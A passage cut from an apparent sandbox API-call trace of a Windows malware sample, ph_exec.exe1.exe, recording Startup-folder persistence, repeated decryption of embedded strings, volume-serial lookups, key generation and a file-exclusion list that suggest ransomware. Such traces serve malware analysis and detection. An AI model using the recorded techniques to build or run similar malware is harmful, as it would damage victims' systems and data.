"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81410 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x811f8 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f58 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x85170 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x85388 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ed8 | out: hHeap=0x80000) returned 1 [0041.293] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0041.293] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xc0) returned 0x81008 [0041.293] CryptImportKey (in: hProv=0xe6710, pbData=0x73f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f6ec | out: phKey=0x73f6ec*=0xf9500) returned 1 [0041.293] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x73f6d4, dwFlags=0x0) returned 1 [0041.293] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81008, pdwDataLen=0x73f6a0 | out: pbData=0x81008, pdwDataLen=0x73f6a0) returned 1 [0041.293] CryptDestroyKey (hKey=0xf9500) returned 1 [0041.293] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xbd) returned 0x810d0 [0041.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1083033, lpParameter=0x810d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0041.297] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0041.297] CloseHandle (hObject=0x224) returned 1 [0041.297] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0041.297] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x60) returned 0x81008 [0041.297] CryptImportKey (in: hProv=0xe6710, pbData=0x73f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f6f8 | out: phKey=0x73f6f8*=0xf8f00) returned 1 [0041.297] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0x73f6e0, dwFlags=0x0) returned 1 [0041.297] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81008, pdwDataLen=0x73f6ac | out: pbData=0x81008, pdwDataLen=0x73f6ac) returned 1 [0041.297] CryptDestroyKey (hKey=0xf8f00) returned 1 [0041.297] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x5c) returned 0x81198 [0041.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1083033, lpParameter=0x81198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0041.298] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1388) returned 0x102 [0046.386] CloseHandle (hObject=0x224) returned 1 [0046.386] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81008 [0046.386] CryptImportKey (in: hProv=0xe6710, pbData=0x73f65c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f6c4 | out: phKey=0x73f6c4*=0xf9100) returned 1 [0046.386] CryptSetKeyParam (hKey=0xf9100, dwParam=0x1, pbData=0x73f6ac, dwFlags=0x0) returned 1 [0046.386] CryptDecrypt (in: hKey=0xf9100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81008, pdwDataLen=0x73f678 | out: pbData=0x81008, pdwDataLen=0x73f678) returned 1 [0046.386] CryptDestroyKey (hKey=0xf9100) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81030 [0046.386] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x81058 [0046.386] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812b0 [0046.386] CryptImportKey (in: hProv=0xe6710, pbData=0x73f634, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f69c | out: phKey=0x73f69c*=0xf9400) returned 1 [0046.386] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f684, dwFlags=0x0) returned 1 [0046.386] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812b0, pdwDataLen=0x73f650 | out: pbData=0x812b0, pdwDataLen=0x73f650) returned 1 [0046.386] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.386] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0046.386] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x81030, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.386] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81058 | out: hHeap=0x80000) returned 1 [0046.386] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81008 | out: hHeap=0x80000) returned 1 [0046.386] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x73f704, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x73f704*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.387] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81030 | out: hHeap=0x80000) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x81008 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81038 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f56c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5d4 | out: phKey=0x73f5d4*=0xf90c0) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0x73f5bc, dwFlags=0x0) returned 1 [0046.387] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81038, pdwDataLen=0x73f588 | out: pbData=0x81038, pdwDataLen=0x73f588) returned 1 [0046.387] CryptDestroyKey (hKey=0xf90c0) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81050 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f564, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5cc | out: phKey=0x73f5cc*=0xf9400) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f5b4, dwFlags=0x0) returned 1 [0046.387] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81050, pdwDataLen=0x73f580 | out: pbData=0x81050, pdwDataLen=0x73f580) returned 1 [0046.387] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81068 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f55c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5c4 | out: phKey=0x73f5c4*=0xf8f00) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0x73f5ac, dwFlags=0x0) returned 1 [0046.387] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81068, pdwDataLen=0x73f578 | out: pbData=0x81068, pdwDataLen=0x73f578) returned 1 [0046.387] CryptDestroyKey (hKey=0xf8f00) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81080 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f554, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5bc | out: phKey=0x73f5bc*=0xf9400) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f5a4, dwFlags=0x0) returned 1 [0046.387] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81080, pdwDataLen=0x73f570 | out: pbData=0x81080, pdwDataLen=0x73f570) returned 1 [0046.387] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812b0 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f54c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5b4 | out: phKey=0x73f5b4*=0xf90c0) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0x73f59c, dwFlags=0x0) returned 1 [0046.387] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812b0, pdwDataLen=0x73f568 | out: pbData=0x812b0, pdwDataLen=0x73f568) returned 1 [0046.387] CryptDestroyKey (hKey=0xf90c0) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81098 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f544, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5ac | out: phKey=0x73f5ac*=0xf9400) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f594, dwFlags=0x0) returned 1 [0046.387] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81098, pdwDataLen=0x73f560 | out: pbData=0x81098, pdwDataLen=0x73f560) returned 1 [0046.387] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x70) returned 0x81348 [0046.387] CryptImportKey (in: hProv=0xe6710, pbData=0x73f53c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5a4 | out: phKey=0x73f5a4*=0xf9400) returned 1 [0046.387] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f58c, dwFlags=0x0) returned 1 [0046.388] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81348, pdwDataLen=0x73f558 | out: pbData=0x81348, pdwDataLen=0x73f558) returned 1 [0046.388] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.388] htonl (hostlong=0xb4197730) returned 0x307719b4 [0046.388] CryptGenRandom (in: hProv=0xe6710, dwLen=0x20, pbBuffer=0x73f698 | out: pbBuffer=0x73f698) returned 1 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x28) returned 0x813c0 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x810b0 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4) returned 0x813f0 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x14) returned 0x81400 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81420 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x80) returned 0x81438 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x814c0 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x82) returned 0x84e48 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x814d8 [0046.388] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4) returned 0x814f0 [0046.388] CryptAcquireContextW (in: phProv=0x108fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x108fcf4*=0x1013a8) returned 1 [0046.389] CryptGenRandom (in: hProv=0x1013a8, dwLen=0x55, pbBuffer=0x73f602 | out: pbBuffer=0x73f602) returned 1 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81500 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x80) returned 0x84ed8 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x81518 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x2) returned 0x81530 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4) returned 0x84f60 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x84f70 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x80) returned 0x84f88 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x85010 [0046.389] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x4) returned 0x87f58 [0046.389] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81530, Size=0x82) returned 0x804a0 [0046.390] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x87f58, Size=0x100) returned 0x87f68 [0046.390] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x80530 [0046.390] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x82) returned 0x88070 [0046.390] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x881a0 [0046.390] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x82) returned 0x88708 [0046.390] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x804a0, Size=0x104) returned 0x88798 [0046.390] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x88070, Size=0x104) returned 0x888a8 [0046.390] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x81438, Size=0x100) returned 0x889b8 [0046.390] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x87f68, Size=0x200) returned 0x88ac0 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f60 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88ac0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x85010 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ed8 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81500 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f88 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f70 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88798 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81518 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x888a8 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x80530 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88708 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x881a0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x813f0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x810b0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x814c0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x889b8 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81420 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x814f0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x814d8 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x813c0 | out: hHeap=0x80000) returned 1 [0046.391] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81400 | out: hHeap=0x80000) returned 1 [0046.391] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xa4) returned 0x804a0 [0046.391] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x62) returned 0x813c0 [0046.391] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x813c0, Size=0xc2) returned 0x813c0 [0046.391] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x882f0 [0046.391] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xb40) returned 0x88708 [0046.391] CryptImportKey (in: hProv=0xe6710, pbData=0x73f534, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f59c | out: phKey=0x73f59c*=0xf9100) returned 1 [0046.391] CryptSetKeyParam (hKey=0xf9100, dwParam=0x1, pbData=0x73f584, dwFlags=0x0) returned 1 [0046.391] CryptDecrypt (in: hKey=0xf9100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88708, pdwDataLen=0x73f550 | out: pbData=0x88708, pdwDataLen=0x73f550) returned 1 [0046.391] CryptDestroyKey (hKey=0xf9100) returned 1 [0046.392] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x882d8 [0046.392] CryptImportKey (in: hProv=0xe6710, pbData=0x73f52c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f594 | out: phKey=0x73f594*=0xf9400) returned 1 [0046.392] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f57c, dwFlags=0x0) returned 1 [0046.392] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x882d8, pdwDataLen=0x73f548 | out: pbData=0x882d8, pdwDataLen=0x73f548) returned 1 [0046.392] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.392] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81490 [0046.392] CryptImportKey (in: hProv=0xe6710, pbData=0x73f504, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f56c | out: phKey=0x73f56c*=0xf9500) returned 1 [0046.392] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x73f554, dwFlags=0x0) returned 1 [0046.392] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81490, pdwDataLen=0x73f520 | out: pbData=0x81490, pdwDataLen=0x73f520) returned 1 [0046.392] CryptDestroyKey (hKey=0xf9500) returned 1 [0046.392] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x84) returned 0x87f58 [0046.392] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x84) returned 0x896f8 [0046.392] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x87fe8 [0046.392] CryptImportKey (in: hProv=0xe6710, pbData=0x73f4dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f544 | out: phKey=0x73f544*=0xf9400) returned 1 [0046.392] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f52c, dwFlags=0x0) returned 1 [0046.392] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x87fe8, pdwDataLen=0x73f4f8 | out: pbData=0x87fe8, pdwDataLen=0x73f4f8) returned 1 [0046.392] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.392] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x87fe8 | out: hHeap=0x80000) returned 1 [0046.392] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x87f58, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0046.392] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x896f8 | out: hHeap=0x80000) returned 1 [0046.392] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81490 | out: hHeap=0x80000) returned 1 [0046.392] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x80550 [0046.392] CryptImportKey (in: hProv=0xe6710, pbData=0x73f500, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f568 | out: phKey=0x73f568*=0xf9000) returned 1 [0046.392] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f550, dwFlags=0x0) returned 1 [0046.392] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x80550, pdwDataLen=0x73f51c | out: pbData=0x80550, pdwDataLen=0x73f51c) returned 1 [0046.392] CryptDestroyKey (hKey=0xf9000) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x18) returned 0x810b0 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x18) returned 0x80578 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81490 [0046.393] CryptImportKey (in: hProv=0xe6710, pbData=0x73f4d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f540 | out: phKey=0x73f540*=0xf9400) returned 1 [0046.393] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x73f528, dwFlags=0x0) returned 1 [0046.393] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81490, pdwDataLen=0x73f4f4 | out: pbData=0x81490, pdwDataLen=0x73f4f4) returned 1 [0046.393] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.393] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81490 | out: hHeap=0x80000) returned 1 [0046.393] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x810b0, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0046.393] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x80578 | out: hHeap=0x80000) returned 1 [0046.393] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x80550 | out: hHeap=0x80000) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x8a258 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x8a470 [0046.393] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8a470, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0046.393] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8a470 | out: hHeap=0x80000) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0xb38) returned 0x8a470 [0046.393] GetLastError () returned 0x0 [0046.393] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x8a470, Size=0xb46) returned 0x8a470 [0046.393] GetLastError () returned 0x0 [0046.393] RtlReAllocateHeap (Heap=0x80000, Flags=0x0, Ptr=0x89e48, Size=0xa8) returned 0x81490 [0046.393] GetLastError () returned 0x0 [0046.393] CryptImportKey (in: hProv=0xe6710, pbData=0x73f65c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f6c4 | out: phKey=0x73f6c4*=0xf90c0) returned 1 [0046.393] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0x73f6ac, dwFlags=0x0) returned 1 [0046.393] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x80578, pdwDataLen=0x73f678 | out: pbData=0x80578, pdwDataLen=0x73f678) returned 1 [0046.393] CryptDestroyKey (hKey=0xf90c0) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81038 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x81060 [0046.393] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812b0 [0046.394] CryptImportKey (in: hProv=0xe6710, pbData=0x73f634, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f69c | out: phKey=0x73f69c*=0xf9000) returned 1 [0046.394] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0x73f684, dwFlags=0x0) returned 1 [0046.394] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812b0, pdwDataLen=0x73f650 | out: pbData=0x812b0, pdwDataLen=0x73f650) returned 1 [0046.394] CryptDestroyKey (hKey=0xf9000) returned 1 [0046.394] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0046.394] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x81038, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.394] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81060 | out: hHeap=0x80000) returned 1 [0046.394] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x80578 | out: hHeap=0x80000) returned 1 [0046.394] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x73f704, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x73f704*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.394] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81038 | out: hHeap=0x80000) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x80578 [0046.394] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88248 [0046.394] CryptImportKey (in: hProv=0xe6710, pbData=0x73f56c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5d4 | out: phKey=0x73f5d4*=0xf90c0) returned 1 [0046.394] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0x73f5bc, dwFlags=0x0) returned 1 [0046.394] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88248, pdwDataLen=0x73f588 | out: pbData=0x88248, pdwDataLen=0x73f588) returned 1 [0046.394] CryptDestroyKey (hKey=0xf90c0) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10) returned 0x88158 [0046.394] CryptImportKey (in: hProv=0xe6710, pbData=0x73f564, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x73f5cc | out: phKey=0x73f5cc*=0xf9500) returned 1 [0046.394] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x73f5b4, dwFlags=0x0) returned 1 [0046.394] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88158, pdwDataLen=0x73f580 | out: pbData=0x88158, pdwDataLen=0x73f580) returned 1 [0046.394] CryptDestroyKey (hKey=0xf9500) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, 